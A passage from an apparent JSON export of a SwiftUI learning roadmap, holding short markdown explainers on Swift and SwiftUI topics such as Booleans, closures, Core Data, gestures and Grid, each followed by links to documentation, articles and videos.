    "content": "# Booleans\n\nBooleans represent truth values, either `true` or `false`. They are fundamental for controlling program flow, making decisions based on conditions, and representing binary states. In Swift, you declare a Boolean variable using the `Bool` keyword and assign it either `true` or `false`.\n\nVisit the following resources to learn more:\n\n- [@official@Booleans](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Booleans)\n- [@article@Data Types in Swift](https://medium.com/@andyandmishel15/data-types-in-swift-b6d0e6cc65fa)\n- [@video@Swift Tutorial for Beginners: Lesson 2 Data Types](https://www.youtube.com/watch?v=zcLMOTEDd8Y)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/button@BceTgMv9rsRu4j5M7JQRk.md",
    "content": "# Button\n\nA Button is a fundamental UI element that triggers an action when tapped or clicked. It's essentially a tappable area on the screen that, when interacted with, executes a predefined piece of code. Buttons are used to initiate actions like submitting forms, navigating to different screens, or performing specific tasks within an application.\n\nVisit the following resources to learn more:\n\n- [@official@Button](https://developer.apple.com/documentation/SwiftUI/Button)\n- [@official@Populating SwiftUI menus with adaptive controls](https://developer.apple.com/documentation/swiftui/populating-swiftui-menus-with-adaptive-controls)\n- [@article@SwiftUI Button: A Complete Tutorial](https://www.rootstrap.com/blog/swiftui-button-a-complete-tutorial)\n- [@article@How to create a tappable button](https://www.hackingwithswift.com/quick-start/swiftui/how-to-create-a-tappable-button)\n- [@video@SwiftUI Button Basics](https://www.youtube.com/watch?v=Gdu6WgIu37A)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/catching@AWAf49r8RNMkYPOayx2LC.md",
    "content": "# Catching Errors in Swift\n\nHandling errors involves catching potential problems that may occur during code execution. When a function or method can throw an error, you use a `do-catch` block to try executing the code that might fail. If an error is thrown within the `do` block, control is transferred to the `catch` block, allowing you to respond to the error gracefully and prevent your app from crashing, thereby providing a better user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Handling Errors Using Do-Catch](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/errorhandling/#Handling-Errors-Using-Do-Catch)\n- [@article@Error handling in Swift with do catch](https://www.donnywals.com/error-handling-in-swift-with-do-catch/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/clean-architecture@jmr8IaAd2391FlqyOuFP8.md",
    "content": "# Clean Architecture\n\nClean Architecture is a software design philosophy that emphasizes separation of concerns, making applications more maintainable, testable, and scalable. It achieves this by dividing the application into distinct layers, each with its own specific responsibility and dependencies. The core idea is to keep the business logic independent from the user interface, database, and external frameworks, allowing changes in one area without affecting others.\n\nVisit the following resources to learn more:\n\n- [@article@A Beginner’s Guide to Clean Architecture in SwiftUI: Building Better Apps Step by Step](https://medium.com/@walfandi/a-beginners-guide-to-clean-architecture-in-ios-building-better-apps-step-by-step-53e6ec8b3abd)\n- [@article@Clean Architecture for SwiftUI](https://nalexn.github.io/clean-architecture-swiftui/)\n- [@video@Clean iOS Architecture pt.1: Analytics Architecture Overview](https://www.youtube.com/watch?v=PnqJiJVc0P8&list=PLyjgjmI1UzlSWtjAMPOt03L7InkCRlGzb)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/clipshape@GZN34c2OGkMFO_fM-XQou.md",
    "content": "# clipShape\n\n`clipShape` in SwiftUI allows you to mask a view, effectively cropping it to a specific shape. Instead of displaying the entire rectangular area of a view, `clipShape` lets you define a shape (like a circle, rectangle with rounded corners, or even a custom shape), and only the portion of the view that falls within that shape will be visible. Anything outside the shape is hidden. This is useful for creating visually appealing designs and focusing attention on specific parts of a view.\n\nVisit the following resources to learn more:\n\n- [@official@ClipShape](https://developer.apple.com/documentation/swiftui/view/clipshape(_:style:))\n- [@article@How to clip a view so only part is visible](https://www.hackingwithswift.com/quick-start/swiftui/how-to-clip-a-view-so-only-part-is-visible)\n- [@article@SwiftUI: Bring back cornerRadius](https://lukaspistrol.com/blog/swiftui-bring-back-corner-radius/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/closures@gD9JTNSkjxcwnpyzmxrZM.md",
    "content": "# Closures\n\nClosures in Swift are self-contained blocks of functionality that can be passed around and used in your code. Think of them as mini-functions without a name. They're similar to lambdas or anonymous functions in other programming languages, allowing you to define a function-like construct directly where it's needed, often for short, specific tasks. Closures can capture and store references to any constants and variables from the context in which they are defined, which means they can access and modify values from their surrounding scope, even after the original scope has ended.\n\nVisit the following resources to learn more:\n\n- [@official@Closures](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/closures)\n- [@video@How to create and use closures – Swift for Complete Beginners](https://www.youtube.com/watch?v=F68lyXkkfCY)\n- [@video@Swift Closures Explained](https://www.youtube.com/watch?v=ND44vQ5iJyc)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/cloudkit@t2S_cttRJLpC__YTf1nAa.md",
    "content": "# CloudKit\n\nCloudKit is Apple's cloud storage solution that allows developers to save and retrieve app data in iCloud. It provides a way to store structured data, like records with fields, and binary data, like images or videos, in the cloud. Users can access their data across all their devices logged into the same iCloud account, and you can also create public data that's accessible to all users of your app.\n\nVisit the following resources to learn more:\n\n- [@official@CloudKit](https://developer.apple.com/icloud/cloudkit/)\n- [@article@CloudKit: A Concise Tutorial](https://medium.com/mackmobile/cloudkit-a-concise-tutorial-10e09d5a043b)\n- [@video@Building a CloudKit-Powered To-Do App in SwiftUI: Step-by-Step Tutorial Part 1](https://www.youtube.com/watch?v=Guhn8VuHZ7k)\n- [@video@Building a CloudKit-Powered To-Do App in SwiftUI: Step-by-Step Tutorial Part 2](https://www.youtube.com/watch?v=u53gxmdx-8I)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/cocoalumberjack@XgF8ecga95g7wapmPrk0w.md",
    "content": "# CocoaLumberjack\n\nCocoaLumberjack is a logging framework for Objective-C and Swift that provides a flexible and powerful way to record and manage log messages in your applications. It allows you to log to multiple destinations simultaneously, such as the console, files, or even remote servers, and offers different log levels to filter messages based on their severity. CocoaLumberjack also supports asynchronous logging to avoid blocking the main thread and provides features like log file rotation and archiving.\n\nVisit the following resources to learn more:\n\n- [@opensource@CocoaLumberjack](https://github.com/CocoaLumberjack/CocoaLumberjack)\n- [@article@iOS — How to Setup Logging Correctly with CocoaLumberjack](https://canopas.com/ios-how-to-setup-logging-correctly-with-cocoalumberjack-37836ec821b0)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/comments@pNyGRFQbPH2tLc-mrsGLU.md",
    "content": "# Comments in Swift\n\nComments in Swift are notes within your code that the compiler ignores. They're used to explain what the code does, making it easier for you and others to understand. You can create single-line comments using two forward slashes `//`. Anything after `//` on that line will be treated as a comment. For multi-line comments, you can use `/*` to start the comment and `*/` to end it. Everything in between `/*` and `*/` will be ignored by the compiler, allowing you to write longer explanations or temporarily disable blocks of code.\n\nVisit the following resources to learn more:\n\n- [@official@Comments](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Comments)\n- [@article@Swift Comments](https://www.programiz.com/swift-programming/comments)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/comparison@03HZvlAne_Uq7uyuP4kdc.md",
    "content": "# Comparison Operators\n\nComparison operators are symbols used to compare two values. These operators evaluate to a Boolean value (either `true` or `false`) based on the relationship between the values being compared. Common comparison operators include equal to (`==`), not equal to (`!=`), greater than (`>`), less than (`<`), greater than or equal to (`>=`), and less than or equal to (`<=`).\n\nVisit the following resources to learn more:\n\n- [@official@Comparison Operators](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/basicoperators/#Comparison-Operators)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/computed@aZVvq-jhpvsQxZvhuB9xf.md",
    "content": "# Computed Properties\n\nComputed properties in Swift provide a way to calculate a value rather than storing it directly. Unlike stored properties, which hold a value in memory, computed properties offer a getter to retrieve a value and an optional setter to indirectly set other properties. This allows you to perform calculations or transformations on other data when accessing or modifying the computed property.\n\nVisit the following resources to learn more:\n\n- [@official@Computer Properties](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/properties#Computed-Properties)\n- [@article@Swift Computed Property: Code Examples](https://www.avanderlee.com/swift/computed-property/)\n- [@video@Computed Properties in Swift](https://www.youtube.com/watch?v=yze92fm54vU)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/constants--variables@fdMCoxX_YjtgUReIGh1nn.md",
    "content": "# Constants & Variables\n\nConstants and variables are fundamental building blocks in Swift for storing data. A variable holds a value that can be changed during the execution of a program, while a constant holds a value that, once assigned, cannot be altered. They are declared using the `var` and `let` keywords, respectively, followed by the name you choose for the constant or variable and its data type.\n\nVisit the following resources to learn more:\n\n- [@official@Constants & Variables](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Constants-and-Variables)\n- [@video@How to create constants and variables – Swift for Complete Beginners](https://www.youtube.com/watch?v=jlkcxTyM8m4)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/continue--break@z84nzijt2F7zR4prl1Juh.md",
    "content": "# Continue & Break in Swift Loops\n\nIn Swift, `continue` and `break` are control flow statements used within loops (like `for`, `while`, and `repeat-while`) to alter their execution. The `continue` statement skips the rest of the current iteration of the loop and proceeds to the next iteration. The `break` statement, on the other hand, immediately terminates the entire loop, and the program execution resumes at the next statement after the loop.\n\nVisit the following resources to learn more:\n\n- [@article@Control Transfer Statements](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/controlflow/#Control-Transfer-Statements)\n- [@video@How to skip loop items with break and continue – Swift for Complete Beginners](https://www.youtube.com/watch?v=z_kR4cP23c4)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/core-data@J8Aq24_1yHj4UowvK0AkH.md",
    "content": "# Core Data\n\nCore Data is a framework provided by Apple for managing the model layer objects in your application. It's not a database itself, but rather an object graph management and persistence framework. Core Data allows you to treat data as objects, making it easier to work with and manage complex relationships between data entities, and it handles the underlying storage and retrieval of that data.\n\nVisit the following resources to learn more:\n\n- [@official@Core Data](https://developer.apple.com/documentation/coredata/)\n- [@article@Introduction to using Core Data with SwiftUI](https://www.hackingwithswift.com/quick-start/swiftui/introduction-to-using-core-data-with-swiftui)\n- [@article@Core Data (CRUD) in Swift Using Xcode for Beginners](https://medium.com/@elamaran_G/core-data-crud-in-swift-using-xcode-for-beginners-4b33788750bd)\n- [@video@How to Save and Manage Data with Core Data in Swift - SwiftUI Basics Tutorial 2023](https://www.youtube.com/watch?v=nTcrzJ49m-U)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/creating-packages@03OPOqR5K4H-oy2KBx744.md",
    "content": "# Creating Swift Packages\n\nThe Swift Package Manager is a tool for managing the distribution of Swift code. Creating a Swift package allows you to bundle your code into reusable modules, making it easy to share and use in other projects. This involves defining the package's structure, specifying dependencies, and building the code into a distributable format.\n\nVisit the following resources to learn more:\n\n- [@official@Creating a Library Package](https://docs.swift.org/swiftpm/documentation/packagemanagerdocs/gettingstarted#Creating-a-Library-Package)\n- [@official@Creating a standalone Swift package with Xcode](https://developer.apple.com/documentation/xcode/creating-a-standalone-swift-package-with-xcode)\n- [@article@Swift Package Manager framework creation in Xcode](https://www.avanderlee.com/swift/creating-swift-package-manager-framework/)\n- [@video@Creating and Publishing Swift Packages (Swift Package Manager)](https://www.youtube.com/watch?v=4Rxuc4BcW8o)\n- [@video@Create a Swift Package from Your SwiftUI Project (SF Symbol Picker)](https://www.youtube.com/watch?v=_KYc2wJVIDE)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/data-flow@nkXaoMWBSSYxELuA9lJD8.md",
    "content": "# Data Flow\n\nData flow refers to how data moves and changes within your application. It describes the path data takes from its source, through various components, and ultimately to the user interface. Understanding data flow is crucial for building predictable and maintainable apps, as it helps you manage state and ensure that changes in data are reflected correctly in your UI.\n\nVisit the following resources to learn more:\n\n- [@official@Managing data flow between views](https://developer.apple.com/tutorials/app-dev-training/managing-data-flow-between-views)\n- [@official@Model Data](https://developer.apple.com/documentation/swiftui/model-data)\n- [@article@SwiftUI Data Flow: Passing Data Between Views](https://matteomanferdini.com/swiftui-data-flow/)\n- [@video@Data Flow Through SwiftUI](https://developer.apple.com/la/videos/play/wwdc2019/226/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/data-persistance@R7ILNzMmAKQXwTyrvFaul.md",
    "content": "# Data Persistence\n\nData persistence refers to the ability of an application to store data in a way that it remains available even after the application is closed or the device is restarted. This allows apps to remember user preferences, save progress, or maintain data across multiple sessions. In Swift and SwiftUI, various techniques can be employed to achieve data persistence, ranging from simple methods like storing data in UserDefaults to more complex solutions like using Core Data or external databases.\n\nVisit the following resources to learn more:\n\n- [@official@Persisting data](https://developer.apple.com/tutorials/app-dev-training/persisting-data)\n- [@official@Adding and editing persistent data in your app](https://developer.apple.com/documentation/SwiftData/Adding-and-editing-persistent-data-in-your-app)\n- [@article@A Guide to Persistence Storage in iOS](https://medium.com/mobile-app-development-publication/a-guide-to-persistence-storage-in-ios-a8b4f7355486)\n- [@article@iOS Data Persistence: A Guide for Swift Developers](https://bugfender.com/blog/ios-data-persistence/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/databases@tB8bNFuB0NetMLQVDd2hj.md",
    "content": "# Databases\n\nDatabases provide a structured way to store and manage data within your Swift applications. They allow you to persist information beyond the app's runtime, meaning data is saved even when the app is closed. This is essential for storing user information, application settings, or any other data that needs to be retained between sessions. You can interact with databases using various frameworks and libraries in Swift, enabling you to create, read, update, and delete data efficiently.\n\nVisit the following resources to learn more:\n\n- [@article@Working with Databases in Swift: A Comprehensive Guide](https://thatthinginswift.com/working-with-databases-in-swift-a-comprehensive-guide/)\n- [@article@Databases & Persistance](https://www.swift.org/packages/database.html)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/dependency-injection@7XjAReXi1WWOFRVfBVoN0.md",
    "content": "# Dependency Injection\n\nDependency Injection is a design pattern where a component receives its dependencies from external sources rather than creating them itself. This promotes loose coupling, making code more modular, testable, and reusable. Instead of a class being responsible for instantiating the objects it needs, those objects are \"injected\" into the class, often through its initializer or properties.\n\nVisit the following resources to learn more:\n\n- [@article@Complete Guide to Dependency Injection in Swift](https://www.swiftanytime.com/blog/dependency-injection-in-swift)\n- [@article@Dependency Injection in SwiftUI: From Basics to Advanced DI Containers](https://medium.com/@nimjea/dependency-injection-in-swiftui-from-basics-to-advanced-di-containers-241b8de76d7a)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/docc@MMdjsS4ltdP7E4ih7URdd.md",
    "content": "# DocC\n\nDocC is Apple's documentation compiler that allows developers to create rich, interactive documentation directly from their Swift or Objective-C code. It transforms specially formatted comments within your code into a structured and navigable documentation set, complete with articles, tutorials, and API reference. This helps developers understand how to use your code effectively and efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@DocC](https://www.swift.org/documentation/docc/)\n- [@video@Meet DocC documentation in Xcode](https://developer.apple.com/la/videos/play/wwdc2021/10166/)\n- [@video@WWDC21: Host and automate your DocC documentation | Apple](https://www.youtube.com/watch?v=Fkeih0S_d2k)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/drag--drop@iZlsMU1NtEPkosxNxNZWq.md",
    "content": "# Drag & Drop\n\nDrag and drop is a user interface interaction that allows users to select an item (the \"drag\") and move it to a different location (the \"drop\"). This interaction is commonly used for rearranging items in a list, moving files between folders, or transferring data between different parts of an application. It provides a direct and intuitive way for users to manipulate elements within a graphical user interface.\n\nVisit the following resources to learn more:\n\n- [@official@Drag & Drop](https://developer.apple.com/documentation/swiftui/drag-and-drop)\n- [@official@Adopting drag and drop using SwiftUI](https://developer.apple.com/documentation/SwiftUI/Adopting-drag-and-drop-using-SwiftUI)\n- [@official@Making a view into a drag source](https://developer.apple.com/documentation/swiftui/making-a-view-into-a-drag-source)\n- [@article@Drag and Drop in SwiftUI](https://medium.com/@jpmtech/drag-and-drop-in-swiftui-2ff65c263d2e)\n- [@video@SwiftUI Drag and Drop with Transferable Custom Object](https://www.youtube.com/watch?v=lsXqJKm4l-U)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/emacs@1EsTqJ17eoz-zznnrNwvW.md",
    "content": "# Emacs\n\nEmacs is a highly customizable and extensible text editor, known for its powerful editing capabilities and extensive ecosystem of packages. It's more than just a text editor; it's often described as an operating system within an operating system, allowing users to tailor the environment to their specific needs through Lisp programming. While not as commonly used as Xcode for Swift and SwiftUI development, Emacs can be configured to provide a robust coding environment with features like syntax highlighting, code completion, and debugging support.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring Emacs for Swift Development](https://www.swift.org/documentation/articles/zero-to-swift-emacs.html)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/enumerations@BURfkXkKdPf1yMTB9neh9.md",
    "content": "# Enumerations\n\nEnumerations, often shortened to enums, are a way to define a group of related values under a common type. They essentially let you create your own custom data types where the possible values are explicitly defined. This makes your code more readable and safer by restricting the values a variable can hold to only those you've specified in the enum.\n\nVisit the following resources to learn more:\n\n- [@official@Enumerations](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/enumerations/)\n- [@video@Introduction to Swift: Enumerations](https://www.youtube.com/watch?v=1Deixr4KQ3Q&embeds_referring_euri=https%3A%2F%2Fwww.hackingwithswift.com%2F&source_ve_path=MjM4NTE)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/environmentobject@-u2enh8vI9ynjTv1H8nVL.md",
    "content": "# @EnvironmentObject\n\n`@EnvironmentObject` allows you to share data across your entire app or specific parts of your view hierarchy without having to manually pass it down through each view. It's a way to make data accessible to any view that needs it, acting like a global state container that SwiftUI manages. This is particularly useful for things like user settings, app configurations, or shared data models.\n\nVisit the following resources to learn more:\n\n- [@official@EnvironmentObject](https://developer.apple.com/documentation/swiftui/environmentobject)\n- [@article@How to use @EnvironmentObject to share data between views](https://www.hackingwithswift.com/quick-start/swiftui/how-to-use-environmentobject-to-share-data-between-views)\n- [@article@@EnvironmentObject explained for sharing data between views in SwiftUI](https://www.avanderlee.com/swiftui/environmentobject/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/error-handling@62FM5cEvtDZwHvL9uOjhz.md",
    "content": "# Error Handling\n\nError handling is a mechanism for responding to and recovering from error conditions that your program may encounter during execution. It allows you to gracefully manage unexpected situations, such as invalid input, network failures, or file access issues, preventing your app from crashing and providing a more robust user experience. Swift provides built-in mechanisms to throw, catch, and propagate errors, ensuring that errors are properly addressed at the appropriate level of your code.\n\nVisit the following resources to learn more:\n\n- [@official@Error Handling](https://docs.swift.org/swift-book/LanguageGuide/ErrorHandling.html)\n- [@article@Swift Error Handling Made Easy: A Practical Guide with Code Examples](https://vikramios.medium.com/swift-error-handling-4a206acd9710)\n- [@article@Swift Error Handling: Try, Throw & Do-Catch Explained](https://bugfender.com/blog/swift-error-handling/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/explicit-animations@jYpugTP_5rF26pn0kUKhG.md",
    "content": "# Explicit Animations\n\nExplicit animations involve directly controlling the animation's behavior by specifying its parameters, such as duration, delay, and easing. Instead of relying on implicit transitions triggered by state changes, you define exactly how a view's properties animate from one value to another. This gives you fine-grained control over the animation's appearance and timing, allowing for more complex and customized visual effects.\n\nVisit the following resources to learn more:\n\n- [@official@WithAnimation](https://developer.apple.com/documentation/swiftui/withanimation(_:_:))\n- [@video@Creating explicit animations – Animation SwiftUI Tutorial 4/8](https://www.youtube.com/watch?v=Sk24dfBUnmg)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/extensions@WcxA4zrP084D0x-NtfHgP.md",
    "content": "# Extensions\n\nExtensions in Swift are a way to add new functionality to an existing class, structure, enumeration, or protocol type. They allow you to extend types even if you don't have access to the original source code. Extensions can add computed instance properties, define instance methods and type methods, provide new initializers, define subscripts, define and use new nested types, and make an existing type conform to a protocol.\n\nVisit the following resources to learn more:\n\n- [@official@Extensions](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/extensions/)\n- [@article@Extensions in Swift: How and when to use them](https://www.avanderlee.com/swift/extensions/)\n- [@video@How to create and use extensions – Swift for Complete Beginners](https://www.youtube.com/watch?v=ALsr3hANqD0)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/filemanager@IUKUp_QQ2BcESvVS8VhVh.md",
    "content": "# FileManager\n\nFileManager provides a way to interact with the file system. It allows you to perform operations like creating, reading, writing, deleting, and moving files and directories. You can use it to manage data stored locally on the device, such as user preferences, cached data, or downloaded content.\n\nVisit the following resources to learn more:\n\n- [@official@FileManager](https://developer.apple.com/documentation/Foundation/FileManager)\n- [@article@Swift File Manager: Reading, Writing, and Deleting Files and Directories](https://www.swiftyplace.com/blog/file-manager-in-swift-reading-writing-and-deleting-files-and-directories)\n- [@article@File handling in Swift using FileManager](https://how.dev/answers/file-handling-in-swift-using-filemanager)\n- [@video@Save data and images to FileManager in Xcode | Continued Learning #26](https://www.youtube.com/watch?v=Yiq-hdhLzVM)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/firabase@wwVfkhkibsFvIP_amh2Y9.md",
    "content": "# Firebase\n\nFirebase is a Backend-as-a-Service (BaaS) platform that provides developers with a suite of tools and services to build, manage, and grow their apps. It handles many backend tasks, such as data storage, user authentication, hosting, and analytics, allowing developers to focus on building the front-end user experience. Firebase offers both NoSQL and real-time database solutions, making it a versatile choice for various application needs.\n\nVisit the following resources to learn more:\n\n- [@official@Firebase](https://firebase.google.com/)\n- [@official@Add Firebase to your Apple project](https://firebase.google.com/docs/ios/setup)\n- [@video@Getting started with Firebase on Apple platforms](https://www.youtube.com/watch?v=F9Gs_pfT3hs)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/floats--doubles@2fA97do5FFkT6ggC0ThZa.md",
    "content": "# Floats and Doubles\n\nFloats and Doubles are fundamental data types in Swift used to represent numbers with fractional components (decimal numbers). A `Float` represents a 32-bit floating-point number, offering a balance between memory usage and precision. A `Double` represents a 64-bit floating-point number, providing greater precision than `Float` but requiring more memory. You would use these when you need to represent values like prices, measurements, or any other non-integer quantity.\n\nVisit the following resources to learn more:\n\n- [@official@Floats](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/thebasics/#Floating-Point-Numbers)\n- [@article@Data Types in Swift](https://medium.com/@andyandmishel15/data-types-in-swift-b6d0e6cc65fa)\n- [@video@Swift Tutorial for Beginners: Lesson 2 Data Types](https://www.youtube.com/watch?v=zcLMOTEDd8Y)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/font@61lcF5utl8qO-MxpWPMnU.md",
    "content": "# Font Modifier\n\nThe `font` modifier in SwiftUI allows you to customize the appearance of text within your views by specifying the typeface, weight, and size. It provides a way to control how text is displayed, enabling you to create visually appealing and consistent user interfaces. You can apply different font styles to various text elements in your app, such as labels, buttons, and text fields, to enhance readability and overall design.\n\nVisit the following resources to learn more:\n\n- [@official@Font](https://developer.apple.com/documentation/swiftui/view/font(_:))\n- [@article@SwiftUI Font and Texts](https://www.swiftyplace.com/blog/swiftui-font-and-texts)\n- [@article@SwiftUI .font()](https://www.codecademy.com/resources/docs/swiftui/viewmodifier/font)\n- [@video@Why SwiftUI's Built-In Font is OP](https://www.youtube.com/watch?v=e4s37VcWCj0)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/for@PVSWiOw5jJf5GFqFA-ld9.md",
    "content": "# For-in Loops in Swift\n\nIn Swift, a `for` loop provides a clean and concise way to iterate over a sequence of items, such as elements in an array, characters in a string, or a range of numbers. It executes a block of code repeatedly for each item in the sequence. The basic structure involves specifying a loop variable that takes on the value of each item in the sequence during each iteration, allowing you to perform operations on each item within the loop's body.\n\nVisit the following resources to learn more:\n\n- [@official@For-in loops](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/controlflow/#For-In-Loops)\n- [@video@How to use For Loops in Swift | Swift Basics](https://www.youtube.com/watch?v=7hAmXRwBQxc)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/form@hZswz-G-20SU__1b0s6eq.md",
    "content": "# Form\n\nIn Swift and SwiftUI, a `Form` is a container view that's designed to organize and display input controls, such as text fields, toggles, and pickers. It automatically handles the layout and styling of these controls, making it easier to create structured and user-friendly interfaces for collecting data or configuring settings. Think of it as a pre-built structure that simplifies the process of creating forms in your app.\n\nVisit the following resources to learn more:\n\n- [@official@Form](https://developer.apple.com/documentation/swiftui/displaying-data-in-lists)\n- [@article@What is SwiftUI Form](https://sarunw.com/posts/swiftui-form/)\n- [@video@Creating a form – WeSplit SwiftUI Tutorial 2/11](https://www.youtube.com/watch?v=4Ui09XbYf1A&t=1s)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/function-types@1j6Lz3AjJeNulzsSN0fsu.md",
    "content": "# Function Types\n\nIn Swift, functions are first-class citizens, meaning they can be treated like any other data type. A function type describes the parameters a function accepts and the type of value it returns. This allows you to assign functions to variables, pass them as arguments to other functions, and return them as values from functions, providing a powerful way to abstract and reuse code.\n\nVisit the following resources to learn more:\n\n- [@official@Function Types](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/functions#Function-Types)\n- [@video@#55 Swift Programming - Using Functions Types](https://www.youtube.com/watch?v=UhE1VZjDK_c)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/generics@_uO1_qHfBkN6YQ02zEFdW.md",
    "content": "# Generics\n\nGenerics allow you to write flexible and reusable code that can work with any type. Instead of writing separate functions or structs for each data type you want to support, you can define a single function or struct that works with a placeholder type. This placeholder type is then specified when the function or struct is used, making your code more adaptable and less repetitive.\n\nVisit the following resources to learn more:\n\n- [@official@Generics](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/generics/)\n- [@article@Generics in Swift explained with code examples](https://www.avanderlee.com/swift/generics-constraints/)\n- [@video@Swift Generics for Beginners - Eliminate Code Duplication](https://www.youtube.com/watch?v=a3AH0ItFTKU)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/geometryreader@9y9HLynnw9d0349CbByvF.md",
    "content": "# GeometryReader\n\nGeometryReader is a container view that provides information about its own size and position within its parent view. It allows you to access the available space offered by the parent, enabling you to create views that adapt dynamically to different screen sizes and orientations. By using a closure, you can access a `GeometryProxy` object, which contains the frame (size and position) of the GeometryReader. This information can then be used to calculate and position other views relative to the GeometryReader's frame.\n\nVisit the following resources to learn more:\n\n- [@official@GeometryReader](https://developer.apple.com/documentation/swiftui/geometryreader)\n- [@article@Understanding frames and coordinates inside GeometryReader](https://www.hackingwithswift.com/books/ios-swiftui/understanding-frames-and-coordinates-inside-geometryreader)\n- [@video@GeometryReader in SwiftUI to get a view's size and location | Continued Learning #6](https://www.youtube.com/watch?v=lMteVjlOIbM)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/gestures@xSl3mD95BbIhpf41d3QVV.md",
    "content": "# Gestures\n\nGestures are actions performed by a user to interact with a device's screen, such as tapping, swiping, pinching, or rotating. They allow users to directly manipulate and control elements within an application, providing a more intuitive and engaging experience. By recognizing and responding to these gestures, developers can create interactive user interfaces that feel natural and responsive.\n\nVisit the following resources to learn more:\n\n- [@official@Gerstures](https://developer.apple.com/documentation/swiftui/gestures)\n- [@official@Adding interactivity with gestures](https://developer.apple.com/documentation/swiftui/adding-interactivity-with-gestures)\n- [@video@How to use gestures in SwiftUI – Flashzilla SwiftUI Tutorial 1/13](https://www.youtube.com/watch?v=Kl_3xrZBEFY)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/grdb@ie_fUA2ZuqmtY7gX14rjo.md",
    "content": "# GRDB\n\nGRDB is a Swift library that provides a convenient and reliable way to interact with SQLite databases. It allows you to perform database operations like creating tables, inserting, querying, updating, and deleting data using Swift code. GRDB focuses on safety, performance, and ease of use, making it a good choice for managing local data storage in your Swift and SwiftUI applications.\n\nVisit the following resources to learn more:\n\n- [@opensource@GRDB](https://github.com/groue/GRDB.swift)\n- [@official@GRDB](https://swiftpackageindex.com/groue/GRDB.swift/v7.8.0/documentation/grdb)\n- [@article@How to build an iOS application with SQLite and GRDB.swift](https://medium.com/@gwendal.roue/how-to-build-an-ios-application-with-sqlite-and-grdb-swift-d023a06c29b3)\n- [@video@SwiftUI: GRDB.swift - Set up](https://www.youtube.com/watch?v=11AMFUH6rro)\n- [@video@SwiftUI: GRDB.swift - Usage](https://www.youtube.com/watch?v=CjYxAXBzrjo)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/grid@elOwuO5ktRapvuX2UTmPK.md",
    "content": "# Grid\n\nA Grid is a layout container that arranges views in a two-dimensional grid, similar to a table. It allows you to organize content into rows and columns, providing a structured way to display information and create complex layouts. You can customize the appearance and behavior of the grid by specifying the number of columns, row spacing, column spacing, and alignment of the views within the grid cells.\n\nVisit the following resources to learn more:\n\n- [@official@Grid](https://developer.apple.com/documentation/swiftui/grid)\n- [@article@SwiftUI Grid, LazyVGrid, LazyHGrid Explained with Code Examples](https://www.avanderlee.com/swiftui/grid-lazyvgrid-lazyhgrid-gridviews/)\n- [@article@LazyVGrid](https://www.swiftuifieldguide.com/layout/lazyvgrid/)\n- [@video@How to use Grid in SwiftUI | Bootcamp #73](https://www.youtube.com/watch?v=LnPMsG0sV50)\n- [@video@SwiftUI Grids - LazyVGrid, LazyHGrid, Static Grid](https://www.youtube.com/watch?v=vfUalXtwth0)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/hstack@8oJVx9Y-NAW2fXtnHfMXB.md",
